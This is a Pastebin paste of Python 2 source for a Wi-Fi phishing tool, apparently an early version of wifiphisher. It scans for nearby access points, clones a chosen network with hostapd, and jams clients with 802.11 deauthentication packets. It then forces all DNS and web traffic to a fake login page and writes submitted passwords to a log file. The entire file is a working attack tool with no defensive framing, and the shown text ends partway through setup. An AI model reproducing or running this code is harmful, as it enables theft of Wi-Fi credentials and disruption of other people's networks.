Advertisement
Fabrimat

Wifi Phisher

Feb 17th, 2015 (edited)
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 32.60 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. # -*- coding: utf-8 -*-
  3.  
  4. import os
  5. import ssl
  6. import re
  7. import time
  8. import sys
  9. import SimpleHTTPServer
  10. import BaseHTTPServer
  11. import httplib
  12. import SocketServer
  13. import cgi
  14. import argparse
  15. import fcntl
  16. from threading import Thread, Lock
  17. from subprocess import Popen, PIPE, check_output
  18. import logging
  19. from scapy.all import *
  20.  
  21.  
  22. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  23. conf.verb = 0
  24.  
  25. # Basic configuration
  26. PORT = 8080
  27. SSL_PORT = 443
  28. PEM = 'cert/server.pem'
  29. PHISING_PAGE = "access-point-pages/minimal"
  30. DN = open(os.devnull, 'w')
  31.  
  32. # Console colors
  33. W = '\033[0m'    # white (normal)
  34. R = '\033[31m'   # red
  35. G = '\033[32m'   # green
  36. O = '\033[33m'   # orange
  37. B = '\033[34m'   # blue
  38. P = '\033[35m'   # purple
  39. C = '\033[36m'   # cyan
  40. GR = '\033[37m'  # gray
  41. T = '\033[93m'   # tan
  42.  
  43. count = 0  # for channel hopping Thread
  44. APs = {}  # for listing APs
  45. hop_daemon_running = True
  46. lock = Lock()
  47.  
  48.  
  49. def parse_args():
  50.     # Create the arguments
  51.     parser = argparse.ArgumentParser()
  52.     parser.add_argument(
  53.         "-c",
  54.         "--channel",
  55.         help="Choose the channel for monitoring. Default is channel 1",
  56.         default="1"
  57.     )
  58.     parser.add_argument(
  59.         "-s",
  60.         "--skip",
  61.         help="Skip deauthing this MAC address. Example: -s 00:11:BB:33:44:AA"
  62.     )
  63.     parser.add_argument(
  64.         "-jI",
  65.         "--jamminginterface",
  66.         help=("Choose monitor mode interface. " +
  67.               "By default script will find the most powerful interface and " +
  68.               "starts monitor mode on it. Example: -jI mon5"
  69.               )
  70.     )
  71.     parser.add_argument(
  72.         "-aI",
  73.         "--apinterface",
  74.         help=("Choose monitor mode interface. " +
  75.               "By default script will find the most powerful interface and " +
  76.               "starts monitor mode on it. Example: -jI mon5"
  77.               )
  78.     )
  79.     parser.add_argument(
  80.         "-m",
  81.         "--maximum",
  82.         help=("Choose the maximum number of clients to deauth." +
  83.               "List of clients will be emptied and repopulated after" +
  84.               "hitting the limit. Example: -m 5"
  85.               )
  86.     )
  87.     parser.add_argument(
  88.         "-n",
  89.         "--noupdate",
  90.         help=("Do not clear the deauth list when the maximum (-m) number" +
  91.               "of client/AP combos is reached. Must be used in conjunction" +
  92.               "with -m. Example: -m 10 -n"
  93.               ),
  94.         action='store_true'
  95.     )
  96.     parser.add_argument(
  97.         "-t",
  98.         "--timeinterval",
  99.         help=("Choose the time interval between packets being sent." +
  100.               " Default is as fast as possible. If you see scapy " +
  101.               "errors like 'no buffer space' try: -t .00001"
  102.               )
  103.     )
  104.     parser.add_argument(
  105.         "-p",
  106.         "--packets",
  107.         help=("Choose the number of packets to send in each deauth burst. " +
  108.               "Default value is 1; 1 packet to the client and 1 packet to " +
  109.               "the AP. Send 2 deauth packets to the client and 2 deauth " +
  110.               "packets to the AP: -p 2"
  111.               )
  112.     )
  113.     parser.add_argument(
  114.         "-d",
  115.         "--directedonly",
  116.         help=("Skip the deauthentication packets to the broadcast address of" +
  117.               "the access points and only send them to client/AP pairs"
  118.               ),
  119.         action='store_true')
  120.     parser.add_argument(
  121.         "-a",
  122.         "--accesspoint",
  123.         help="Enter the MAC address of a specific access point to target"
  124.     )
  125.  
  126.     return parser.parse_args()
  127.  
  128.  
  129. class SecureHTTPServer(BaseHTTPServer.HTTPServer):
  130.     """
  131.    Simple HTTP server that extends the SimpleHTTPServer standard
  132.    module to support the SSL protocol.
  133.  
  134.    Only the server is authenticated while the client remains
  135.    unauthenticated (i.e. the server will not request a client
  136.    certificate).
  137.  
  138.    It also reacts to self.stop flag.
  139.    """
  140.     def __init__(self, server_address, HandlerClass):
  141.         SocketServer.BaseServer.__init__(self, server_address, HandlerClass)
  142.         self.socket = ssl.SSLSocket(
  143.             socket.socket(self.address_family, self.socket_type),
  144.             keyfile=PEM,
  145.             certfile=PEM
  146.         )
  147.  
  148.         self.server_bind()
  149.         self.server_activate()
  150.  
  151.     def serve_forever(self):
  152.         """
  153.        Handles one request at a time until stopped.
  154.        """
  155.         self.stop = False
  156.         while not self.stop:
  157.             self.handle_request()
  158.  
  159.  
  160. class SecureHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
  161.     """
  162.    Request handler for the HTTPS server. It responds to
  163.    everything with a 301 redirection to the HTTP server.
  164.    """
  165.     def do_QUIT(self):
  166.         """
  167.        Sends a 200 OK response, and sets server.stop to True
  168.        """
  169.         self.send_response(200)
  170.         self.end_headers()
  171.         self.server.stop = True
  172.  
  173.     def setup(self):
  174.         self.connection = self.request
  175.         self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
  176.         self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
  177.  
  178.     def do_GET(self):
  179.         self.send_response(301)
  180.         self.send_header('Location', 'http://10.0.0.1:' + str(PORT))
  181.         self.end_headers()
  182.  
  183.     def log_message(self, format, *args):
  184.         return
  185.  
  186.  
  187. class HTTPServer(BaseHTTPServer.HTTPServer):
  188.     """
  189.    HTTP server that reacts to self.stop flag.
  190.    """
  191.  
  192.     def serve_forever(self):
  193.         """
  194.        Handle one request at a time until stopped.
  195.        """
  196.         self.stop = False
  197.         while not self.stop:
  198.             self.handle_request()
  199.  
  200.  
  201. class HTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
  202.     """
  203.    Request handler for the HTTP server that logs POST requests.
  204.    """
  205.     def do_QUIT(self):
  206.         """
  207.        Sends a 200 OK response, and sets server.stop to True
  208.        """
  209.         self.send_response(200)
  210.         self.end_headers()
  211.         self.server.stop = True
  212.  
  213.     def do_GET(self):
  214.  
  215.         if self.path == "/":
  216.             wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp"
  217.             with open(wifi_webserver_tmp, "a + ") as log_file:
  218.                 log_file.write('[' + T + '*' + W + '] ' + O + "GET " + T +
  219.                                self.client_address[0] + W + "\n"
  220.                                )
  221.                 log_file.close()
  222.             self.path = "index.html"
  223.         self.path = "%s/%s" % (PHISING_PAGE, self.path)
  224.  
  225.         if self.path.endswith(".html"):
  226.             if not os.path.isfile(self.path):
  227.                 self.send_response(404)
  228.                 return
  229.             f = open(self.path)
  230.             self.send_response(200)
  231.             self.send_header('Content-type', 'text-html')
  232.             self.end_headers()
  233.             # Send file content to client
  234.             self.wfile.write(f.read())
  235.             f.close()
  236.             return
  237.         # Leave binary and other data to default handler.
  238.         else:
  239.             SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
  240.  
  241.     def do_POST(self):
  242.         form = cgi.FieldStorage(
  243.             fp=self.rfile,
  244.             headers=self.headers,
  245.             environ={'REQUEST_METHOD': 'POST',
  246.                      'CONTENT_TYPE': self.headers['Content-Type'],
  247.                      })
  248.         for item in form.list:
  249.             if item.value:
  250.                 if re.match("\A[\x20-\x7e] + \Z", item.value):
  251.                     self.send_response(301)
  252.                     self.send_header('Location', '/upgrading.html')
  253.                     self.end_headers()
  254.                     wifi_webserver_tmp = "/tmp/wifiphisher-webserver.tmp"
  255.                     with open(wifi_webserver_tmp, "a + ") as log_file:
  256.                         log_file.write('[' + T + '*' + W + '] ' + O + "POST " +
  257.                                        T + self.client_address[0] +
  258.                                        R + " password=" + item.value +
  259.                                        W + "\n"
  260.                                        )
  261.                         log_file.close()
  262.                     return
  263.  
  264.     def log_message(self, format, *args):
  265.         return
  266.  
  267.  
  268. def stop_server(port=PORT, ssl_port=SSL_PORT):
  269.     """
  270.    Sends QUIT request to HTTP server running on localhost:<port>
  271.    """
  272.     conn = httplib.HTTPConnection("localhost:%d" % port)
  273.     conn.request("QUIT", "/")
  274.     conn.getresponse()
  275.  
  276.     conn = httplib.HTTPSConnection("localhost:%d" % ssl_port)
  277.     conn.request("QUIT", "/")
  278.     conn.getresponse()
  279.  
  280.  
  281. def shutdown():
  282.     """
  283.    Shutdowns program.
  284.    """
  285.     os.system('iptables -F')
  286.     os.system('iptables -X')
  287.     os.system('iptables -t nat -F')
  288.     os.system('iptables -t nat -X')
  289.     os.system('pkill airbase-ng')
  290.     os.system('pkill dnsmasq')
  291.     os.system('pkill hostapd')
  292.     if os.path.isfile('/tmp/wifiphisher-webserver.tmp'):
  293.         os.remove('/tmp/wifiphisher-webserver.tmp')
  294.     if os.path.isfile('/tmp/wifiphisher-jammer.tmp'):
  295.         os.remove('/tmp/wifiphisher-jammer.tmp')
  296.     if os.path.isfile('/tmp/hostapd.conf'):
  297.         os.remove('/tmp/hostapd.conf')
  298.     reset_interfaces()
  299.     print '\n[' + R + '!' + W + '] Closing'
  300.     sys.exit(0)
  301.  
  302.  
  303. def get_interfaces():
  304.     interfaces = {"monitor": [], "managed": [], "all": []}
  305.     proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  306.     for line in proc.communicate()[0].split('\n'):
  307.         if len(line) == 0:
  308.             continue  # Isn't an empty string
  309.         if line[0] != ' ':  # Doesn't start with space
  310.             wired_search = re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
  311.             if not wired_search:  # Isn't wired
  312.                 iface = line[:line.find(' ')]  # is the interface
  313.                 if 'Mode:Monitor' in line:
  314.                     interfaces["monitor"].append(iface)
  315.                 elif 'IEEE 802.11' in line:
  316.                     interfaces["managed"].append(iface)
  317.                 interfaces["all"].append(iface)
  318.     return interfaces
  319.  
  320.  
  321. def get_iface(mode="all", exceptions=["_wifi"]):
  322.     ifaces = get_interfaces()[mode]
  323.     for i in ifaces:
  324.         if i not in exceptions:
  325.             return i
  326.     return False
  327.  
  328.  
  329. def reset_interfaces():
  330.     monitors = get_interfaces()["monitor"]
  331.     for m in monitors:
  332.         if 'mon' in m:
  333.             Popen(['airmon-ng', 'stop', m], stdout=DN, stderr=DN)
  334.         else:
  335.             Popen(['ifconfig', m, 'down'], stdout=DN, stderr=DN)
  336.             Popen(['iwconfig', m, 'mode', 'managed'], stdout=DN, stderr=DN)
  337.             Popen(['ifconfig', m, 'up'], stdout=DN, stderr=DN)
  338.  
  339.  
  340. def get_internet_interface():
  341.     '''return the wifi internet connected iface'''
  342.     inet_iface = None
  343.  
  344.     if os.path.isfile("/sbin/ip") == True:
  345.         proc = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
  346.         def_route = proc.communicate()[0].split('\n')  # [0].split()
  347.         for line in def_route:
  348.             if 'wlan' in line and 'default via' in line:
  349.                 line = line.split()
  350.                 inet_iface = line[4]
  351.                 ipprefix = line[2][:2]  # Just checking if it's 192, 172, or 10
  352.                 return inet_iface
  353.     else:
  354.         proc = open('/proc/net/route', 'r')
  355.         default = proc.readlines()[1]
  356.         if "wlan" in default:
  357.             def_route = default.split()[0]
  358.         x = iter(default.split()[2])
  359.         res = [''.join(i) for i in zip(x, x)]
  360.         d = [str(int(i, 16)) for i in res]
  361.         return inet_iface
  362.     return False
  363.  
  364.  
  365. def get_internet_ip_prefix():
  366.     '''return the wifi internet connected IP prefix'''
  367.     ipprefix = None
  368.     if os.path.isfile("/sbin/ip") == True:
  369.         proc = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
  370.         def_route = proc.communicate()[0].split('\n')  # [0].split()
  371.         for line in def_route:
  372.             if 'wlan' in line and 'default via' in line:
  373.                 line = line.split()
  374.                 inet_iface = line[4]
  375.                 ipprefix = line[2][:2]  # Just checking if it's 192, 172, or 10
  376.                 return inet_iface
  377.     else:
  378.         proc = open('/proc/net/route', 'r')
  379.         default = proc.readlines()[1]
  380.         if "wlan" in default:
  381.             def_route = default.split()[0]
  382.         x = iter(default.split()[2])
  383.         res = [''.join(i) for i in zip(x, x)]
  384.         d = [str(int(i, 16)) for i in res]
  385.         return ipprefix
  386.     return False
  387.  
  388.  
  389. def channel_hop(mon_iface):
  390.     chan = 0
  391.     err = None
  392.     while hop_daemon_running:
  393.         try:
  394.             err = None
  395.             if chan > 11:
  396.                 chan = 0
  397.             chan = chan + 1
  398.             channel = str(chan)
  399.             iw = Popen(
  400.                 ['iw', 'dev', mon_iface, 'set', 'channel', channel],
  401.                 stdout=DN, stderr=PIPE
  402.             )
  403.             for line in iw.communicate()[1].split('\n'):
  404.                 # iw dev shouldnt display output unless there's an error
  405.                 if len(line) > 2:
  406.                     with lock:
  407.                         err = (
  408.                             '[' + R + '-' + W + '] Channel hopping failed: ' +
  409.                             R + line + W + '\n'
  410.                             'Try disconnecting the monitor mode\'s parent' +
  411.                             'interface (e.g. wlan0)\n'
  412.                             'from the network if you have not already\n'
  413.                         )
  414.                     break
  415.             time.sleep(1)
  416.         except KeyboardInterrupt:
  417.             sys.exit()
  418.  
  419.  
  420. def sniffing(interface, cb):
  421.     '''This exists for if/when I get deauth working
  422.    so that it's easy to call sniff() in a thread'''
  423.     sniff(iface=interface, prn=cb, store=0)
  424.  
  425.  
  426. def targeting_cb(pkt):
  427.     global APs, count
  428.     if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
  429.         try:
  430.             ap_channel = str(ord(pkt[Dot11Elt:3].info))
  431.         except Exception:
  432.             return
  433.         essid = pkt[Dot11Elt].info
  434.         mac = pkt[Dot11].addr2
  435.         if len(APs) > 0:
  436.             for num in APs:
  437.                 if essid in APs[num][1]:
  438.                     return
  439.         count += 1
  440.         APs[count] = [ap_channel, essid, mac]
  441.         target_APs()
  442.  
  443.  
  444. def target_APs():
  445.     global APs, count
  446.     os.system('clear')
  447.     print ('[' + G + ' + ' + W + '] Ctrl-C at any time to copy an access' +
  448.            ' point from below')
  449.     print 'num  ch   ESSID'
  450.     print '---------------'
  451.     for ap in APs:
  452.         print (G + str(ap).ljust(2) + W + ' - ' + APs[ap][0].ljust(2) + ' - ' +
  453.                T + APs[ap][1] + W)
  454.  
  455.  
  456. def copy_AP():
  457.     global APs, count
  458.     copy = None
  459.     while not copy:
  460.         try:
  461.             copy = raw_input(
  462.                 ('\n[' + G + ' + ' + W + '] Choose the [' + G + 'num' + W +
  463.                  '] of the AP you wish to copy: ')
  464.             )
  465.             copy = int(copy)
  466.         except Exception:
  467.             copy = None
  468.             continue
  469.     try:
  470.         channel = APs[copy][0]
  471.         essid = APs[copy][1]
  472.         if str(essid) == "\x00":
  473.             essid = ' '
  474.         mac = APs[copy][2]
  475.         return channel, essid, mac
  476.     except KeyError:
  477.         return copy_AP()
  478.  
  479.  
  480. def start_ap(mon_iface, channel, essid, args):
  481.     print '[' + T + '*' + W + '] Starting the fake access point...'
  482.     config = (
  483.         'interface=%s\n'
  484.         'driver=nl80211\n'
  485.         'ssid=%s\n'
  486.         'hw_mode=g\n'
  487.         'channel=%s\n'
  488.         'macaddr_acl=0\n'
  489.         'ignore_broadcast_ssid=0\n'
  490.     )
  491.     with open('/tmp/hostapd.conf', 'w') as dhcpconf:
  492.             dhcpconf.write(config % (mon_iface, essid, channel))
  493.  
  494.     Popen(['hostapd', '/tmp/hostapd.conf'], stdout=DN, stderr=DN)
  495.     try:
  496.         time.sleep(6)  # Copied from Pwnstar which said it was necessary?
  497.     except KeyboardInterrupt:
  498.         cleanup(None, None)
  499.  
  500.  
  501. def dhcp_conf(interface):
  502.  
  503.     config = (
  504.         # disables dnsmasq reading any other files like
  505.         # /etc/resolv.conf for nameservers
  506.         'no-resolv\n'
  507.         # Interface to bind to
  508.         'interface=%s\n'
  509.         # Specify starting_range,end_range,lease_time
  510.         'dhcp-range=%s\n'
  511.         'address=/#/10.0.0.1'
  512.     )
  513.  
  514.     ipprefix = get_internet_ip_prefix()
  515.     if ipprefix == '19' or ipprefix == '17' or not ipprefix:
  516.         with open('/tmp/dhcpd.conf', 'w') as dhcpconf:
  517.             # subnet, range, router, dns
  518.             dhcpconf.write(config % (interface, '10.0.0.2,10.0.0.100,12h'))
  519.     elif ipprefix == '10':
  520.         with open('/tmp/dhcpd.conf', 'w') as dhcpconf:
  521.             dhcpconf.write(config % (interface, '172.16.0.2,172.16.0.100,12h'))
  522.     return '/tmp/dhcpd.conf'
  523.  
  524.  
  525. def dhcp(dhcpconf, mon_iface):
  526.     os.system('echo > /var/lib/misc/dnsmasq.leases')
  527.     dhcp = Popen(['dnsmasq', '-C', dhcpconf], stdout=PIPE, stderr=DN)
  528.     ipprefix = get_internet_ip_prefix()
  529.     Popen(['ifconfig', str(mon_iface), 'mtu', '1400'], stdout=DN, stderr=DN)
  530.     if ipprefix == '19' or ipprefix == '17' or not ipprefix:
  531.         Popen(
  532.             ['ifconfig', str(mon_iface), 'up', '10.0.0.1',
  533.              'netmask', '255.255.255.0'
  534.              ],
  535.             stdout=DN,
  536.             stderr=DN
  537.         )
  538.         os.system(
  539.             ('route add -net 10.0.0.0 netmask ' +
  540.              '255.255.255.0 gw 10.0.0.1')
  541.         )
  542.     else:
  543.         Popen(
  544.             ['ifconfig', str(mon_iface), 'up', '172.16.0.1',
  545.              'netmask', '255.255.255.0'
  546.              ],
  547.             stdout=DN,
  548.             stderr=DN
  549.         )
  550.         os.system(
  551.             ('route add -net 172.16.0.0 netmask ' +
  552.              '255.255.255.0 gw 172.16.0.1')
  553.         )
  554.  
  555.  
  556. def get_strongest_iface(exceptions=[]):
  557.     interfaces = get_interfaces()["managed"]
  558.     scanned_aps = []
  559.     for i in interfaces:
  560.         if i in exceptions:
  561.             continue
  562.         count = 0
  563.         proc = Popen(['iwlist', i, 'scan'], stdout=PIPE, stderr=DN)
  564.         for line in proc.communicate()[0].split('\n'):
  565.             if ' - Address:' in line:  # first line in iwlist scan for a new AP
  566.                 count += 1
  567.         scanned_aps.append((count, i))
  568.         print ('[' + G + ' + ' + W + '] Networks discovered by '
  569.                + G + i + W + ': ' + T + str(count) + W)
  570.     if len(scanned_aps) > 0:
  571.         interface = max(scanned_aps)[1]
  572.         return interface
  573.     return False
  574.  
  575.  
  576. def start_mon_mode(interface):
  577.     print ('[' + G + ' + ' + W + '] Starting monitor mode off '
  578.            + G + interface + W)
  579.     try:
  580.         os.system('ifconfig %s down' % interface)
  581.         os.system('iwconfig %s mode monitor' % interface)
  582.         os.system('ifconfig %s up' % interface)
  583.         return interface
  584.     except Exception:
  585.         sys.exit('[' + R + '-' + W + '] Could not start monitor mode')
  586.  
  587.  
  588. # Wifi Jammer stuff
  589. def channel_hop2(mon_iface):
  590.     '''
  591.    First time it runs through the channels it stays on each channel for
  592.    5 seconds in order to populate the deauth list nicely.
  593.    After that it goes as fast as it can
  594.    '''
  595.     global monchannel, first_pass
  596.  
  597.     channelNum = 0
  598.     err = None
  599.  
  600.     while 1:
  601.         if args.channel:
  602.             with lock:
  603.                 monchannel = args.channel
  604.         else:
  605.             channelNum += 1
  606.             if channelNum > 11:
  607.                 channelNum = 1
  608.                 with lock:
  609.                     first_pass = 0
  610.             with lock:
  611.                 monchannel = str(channelNum)
  612.  
  613.             proc = Popen(
  614.                 ['iw', 'dev', mon_iface, 'set', 'channel', monchannel],
  615.                 stdout=DN,
  616.                 stderr=PIPE
  617.             )
  618.  
  619.             for line in proc.communicate()[1].split('\n'):
  620.                 if len(line) > 2:
  621.                     # iw dev shouldnt display output unless there's an error
  622.                     err = ('[' + R + '-' + W + '] Channel hopping failed: '
  623.                            + R + line + W)
  624.  
  625.         output(monchannel)
  626.         if args.channel:
  627.             time.sleep(.05)
  628.         else:
  629.             # For the first channel hop thru, do not deauth
  630.             if first_pass == 1:
  631.                 time.sleep(1)
  632.                 continue
  633.  
  634.         deauth(monchannel)
  635.  
  636.  
  637. def deauth(monchannel):
  638.     '''
  639.    addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway
  640.    if there's multi-APs to one gateway. Constantly scans the clients_APs list
  641.    and starts a thread to deauth each instance
  642.    '''
  643.  
  644.     pkts = []
  645.  
  646.     if len(clients_APs) > 0:
  647.         with lock:
  648.             for x in clients_APs:
  649.                 client = x[0]
  650.                 ap = x[1]
  651.                 ch = x[2]
  652.                 '''
  653.                Can't add a RadioTap() layer as the first layer or it's a
  654.                malformed Association request packet?
  655.                Append the packets to a new list so we don't have to hog the
  656.                lock type=0, subtype=12?
  657.                '''
  658.                 if ch == monchannel:
  659.                     deauth_pkt1 = Dot11(
  660.                         addr1=client,
  661.                         addr2=ap,
  662.                         addr3=ap) / Dot11Deauth()
  663.                     deauth_pkt2 = Dot11(
  664.                         addr1=ap,
  665.                         addr2=client,
  666.                         addr3=client) / Dot11Deauth()
  667.                     pkts.append(deauth_pkt1)
  668.                     pkts.append(deauth_pkt2)
  669.     if len(APs) > 0:
  670.         if not args.directedonly:
  671.             with lock:
  672.                 for a in APs:
  673.                     ap = a[0]
  674.                     ch = a[1]
  675.                     if ch == monchannel:
  676.                         deauth_ap = Dot11(
  677.                             addr1='ff:ff:ff:ff:ff:ff',
  678.                             addr2=ap,
  679.                             addr3=ap) / Dot11Deauth()
  680.                         pkts.append(deauth_ap)
  681.  
  682.     if len(pkts) > 0:
  683.         # prevent 'no buffer space' scapy error http://goo.gl/6YuJbI
  684.         if not args.timeinterval:
  685.             args.timeinterval = 0
  686.         if not args.packets:
  687.             args.packets = 1
  688.  
  689.         for p in pkts:
  690.             send(p, inter=float(args.timeinterval), count=int(args.packets))
  691.  
  692.  
  693. def output(monchannel):
  694.     wifi_jammer_tmp = "/tmp/wifiphisher-jammer.tmp"
  695.     with open(wifi_jammer_tmp, "a + ") as log_file:
  696.         log_file.truncate()
  697.         with lock:
  698.             for ca in clients_APs:
  699.                 if len(ca) > 3:
  700.                     log_file.write(
  701.                         ('[' + T + '*' + W + '] ' + O + ca[0] + W +
  702.                          ' - ' + O + ca[1] + W + ' - ' + ca[2].ljust(2) +
  703.                          ' - ' + T + ca[3] + W + '\n')
  704.                     )
  705.                 else:
  706.                     log_file.write(
  707.                         '[' + T + '*' + W + '] ' + O + ca[0] + W +
  708.                         ' - ' + O + ca[1] + W + ' - ' + ca[2]
  709.                     )
  710.         with lock:
  711.             for ap in APs:
  712.                 log_file.write(
  713.                     '[' + T + '*' + W + '] ' + O + ap[0] + W +
  714.                     ' - ' + ap[1].ljust(2) + ' - ' + T + ap[2] + W + '\n'
  715.                 )
  716.         # print ''
  717.  
  718.  
  719. def noise_filter(skip, addr1, addr2):
  720.     # Broadcast, broadcast, IPv6mcast, spanning tree, spanning tree, multicast,
  721.     # broadcast
  722.     ignore = [
  723.         'ff:ff:ff:ff:ff:ff',
  724.         '00:00:00:00:00:00',
  725.         '33:33:00:', '33:33:ff:',
  726.         '01:80:c2:00:00:00',
  727.         '01:00:5e:',
  728.         mon_MAC
  729.     ]
  730.     if skip:
  731.         ignore.append(skip)
  732.     for i in ignore:
  733.         if i in addr1 or i in addr2:
  734.             return True
  735.  
  736.  
  737. def cb(pkt):
  738.     '''
  739.    Look for dot11 packets that aren't to or from broadcast address,
  740.    are type 1 or 2 (control, data), and append the addr1 and addr2
  741.    to the list of deauth targets.
  742.    '''
  743.     global clients_APs, APs
  744.  
  745.     # return these if's keeping clients_APs the same or just reset clients_APs?
  746.     # I like the idea of the tool repopulating the variable more
  747.     if args.maximum:
  748.         if args.noupdate:
  749.             if len(clients_APs) > int(args.maximum):
  750.                 return
  751.         else:
  752.             if len(clients_APs) > int(args.maximum):
  753.                 with lock:
  754.                     clients_APs = []
  755.                     APs = []
  756.  
  757.     '''
  758.    We're adding the AP and channel to the deauth list at time of creation
  759.    rather than updating on the fly in order to avoid costly for loops
  760.    that require a lock.
  761.    '''
  762.  
  763.     if pkt.haslayer(Dot11):
  764.         if pkt.addr1 and pkt.addr2:
  765.  
  766.             # Filter out all other APs and clients if asked
  767.             if args.accesspoint:
  768.                 if args.accesspoint not in [pkt.addr1, pkt.addr2]:
  769.                     return
  770.  
  771.             # Check if it's added to our AP list
  772.             if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
  773.                 APs_add(clients_APs, APs, pkt, args.channel)
  774.  
  775.             # Ignore all the noisy packets like spanning tree
  776.             if noise_filter(args.skip, pkt.addr1, pkt.addr2):
  777.                 return
  778.  
  779.             # Management = 1, data = 2
  780.             if pkt.type in [1, 2]:
  781.                 clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
  782.  
  783.  
  784. def APs_add(clients_APs, APs, pkt, chan_arg):
  785.     ssid = pkt[Dot11Elt].info
  786.     bssid = pkt[Dot11].addr3
  787.     try:
  788.         # Thanks to airoscapy for below
  789.         ap_channel = str(ord(pkt[Dot11Elt:3].info))
  790.         # Prevent 5GHz APs from being thrown into the mix
  791.         chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11']
  792.         if ap_channel not in chans:
  793.             return
  794.  
  795.         if chan_arg:
  796.             if ap_channel != chan_arg:
  797.                 return
  798.  
  799.     except Exception:
  800.         return
  801.  
  802.     if len(APs) == 0:
  803.         with lock:
  804.             return APs.append([bssid, ap_channel, ssid])
  805.     else:
  806.         for b in APs:
  807.             if bssid in b[0]:
  808.                 return
  809.         with lock:
  810.             return APs.append([bssid, ap_channel, ssid])
  811.  
  812.  
  813. def clients_APs_add(clients_APs, addr1, addr2):
  814.  
  815.     if len(clients_APs) == 0:
  816.         if len(APs) == 0:
  817.             with lock:
  818.                 return clients_APs.append([addr1, addr2, monchannel])
  819.         else:
  820.             AP_check(addr1, addr2)
  821.  
  822.     # Append new clients/APs if they're not in the list
  823.     else:
  824.         for ca in clients_APs:
  825.             if addr1 in ca and addr2 in ca:
  826.                 return
  827.  
  828.         if len(APs) > 0:
  829.             return AP_check(addr1, addr2)
  830.         else:
  831.             with lock:
  832.                 return clients_APs.append([addr1, addr2, monchannel])
  833.  
  834.  
  835. def AP_check(addr1, addr2):
  836.     for ap in APs:
  837.         if ap[0].lower() in addr1.lower() or ap[0].lower() in addr2.lower():
  838.             with lock:
  839.                 return clients_APs.append([addr1, addr2, ap[1], ap[2]])
  840.  
  841.  
  842. def mon_mac(mon_iface):
  843.     '''
  844.    http://stackoverflow.com/questions/159137/getting-mac-address
  845.    '''
  846.     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  847.     info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', mon_iface[:15]))
  848.     mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
  849.     print ('[' + G + '*' + W + '] Monitor mode: ' + G
  850.            + mon_iface + W + ' - ' + O + mac + W)
  851.     return mac
  852.  
  853.  
  854. def sniff_dot11(mon_iface):
  855.     """
  856.    We need this here to run it from a thread.
  857.    """
  858.     sniff(iface=mon_iface, store=0, prn=cb)
  859.  
  860.  
  861. def get_hostapd():
  862.     if not os.path.isfile('/usr/sbin/hostapd'):
  863.         install = raw_input(
  864.             ('[' + T + '*' + W + '] isc-dhcp-server not found ' +
  865.              'in /usr/sbin/hostapd, install now? [y/n] ')
  866.         )
  867.         if install == 'y':
  868.             os.system('apt-get -y install hostapd')
  869.         else:
  870.             sys.exit(('[' + R + '-' + W + '] hostapd' +
  871.                      'not found in /usr/sbin/hostapd'))
  872.  
  873. if __name__ == "__main__":
  874.  
  875.     # Parse args
  876.     args = parse_args()
  877.     # Are you root?
  878.     if os.geteuid():
  879.         sys.exit('[' + R + '-' + W + '] Please run as root')
  880.     # Get hostapd if needed
  881.     get_hostapd()
  882.  
  883.     # Start HTTP server in a background thread
  884.     Handler = HTTPRequestHandler
  885.     httpd = HTTPServer(("", PORT), Handler)
  886.     print '[' + T + '*' + W + '] Starting HTTP server at port ' + str(PORT)
  887.     webserver = Thread(target=httpd.serve_forever)
  888.     webserver.daemon = True
  889.     webserver.start()
  890.  
  891.     # Start HTTPS server in a background thread
  892.     Handler = SecureHTTPRequestHandler
  893.     httpd = SecureHTTPServer(("", SSL_PORT), Handler)
  894.     print ('[' + T + '*' + W + '] Starting HTTPS server at port ' +
  895.            str(SSL_PORT))
  896.     secure_webserver = Thread(target=httpd.serve_forever)
  897.     secure_webserver.daemon = True
  898.     secure_webserver.start()
  899.  
  900.     # Get interfaces
  901.     reset_interfaces()
  902.     if not args.jamminginterface:
  903.         inet_iface = get_internet_interface()
  904.         mon_iface = get_iface(mode="monitor", exceptions=[inet_iface])
  905.         iface_to_monitor = False
  906.     else:
  907.         mon_iface = False
  908.         iface_to_monitor = args.jamminginterface
  909.     if not mon_iface:
  910.         if args.jamminginterface:
  911.             iface_to_monitor = args.jamminginterface
  912.         else:
  913.             iface_to_monitor = get_strongest_iface()
  914.         if not iface_to_monitor and not inet_iface:
  915.             sys.exit(
  916.                 ('[' + R + '-' + W +
  917.                  '] No wireless interfaces found, bring one up and try again'
  918.                  )
  919.             )
  920.         mon_iface = start_mon_mode(iface_to_monitor)
  921.     wj_iface = mon_iface
  922.     if not args.apinterface:
  923.         ap_iface = get_iface(mode="managed", exceptions=[iface_to_monitor])
  924.     else:
  925.         ap_iface = args.apinterface
  926.  
  927.     '''
  928.    We got the interfaces correctly at this point. Monitor mon_iface & for
  929.    the AP ap_iface.
  930.    '''
  931.     # Set iptable rules and kernel variables.
  932.     os.system(
  933.         ('iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT ' +
  934.          '--to-destination 10.0.0.1:%s' % PORT)
  935.     )
  936.     os.system(
  937.         ('iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT ' +
  938.          '--to-destination 10.0.0.1:%s' % SSL_PORT)
  939.     )
  940.     Popen(
  941.         ['sysctl', '-w', 'net.ipv4.conf.all.route_localnet=1'],
  942.         stdout=DN,
  943.         stderr=PIPE
  944.     )
  945.  
